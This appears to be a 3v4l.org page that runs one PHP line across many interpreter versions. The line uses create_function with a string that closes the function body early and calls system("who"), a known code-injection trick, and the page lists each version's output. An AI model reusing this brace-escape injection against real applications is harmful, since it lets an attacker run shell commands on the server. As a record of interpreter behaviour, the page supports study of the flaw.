3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php create_function('', '};system("who");//');
Output for 4.3.0, 5.4.39 - 5.6.28, 7.0.0 - 7.1.0
Output for hhvm-3.10.0 - 3.12.0
Failed to exec: `who'
Output for 4.3.1 - 4.4.1, 4.4.3 - 5.0.5, 5.1.1, 5.1.3 - 5.1.4, 5.1.6 - 5.4.38
sh: 1: who: not found
Output for 4.4.2, 5.1.2, 5.1.5
//}sh: 1: who: not found
Output for 5.1.0

Process exited with code 137.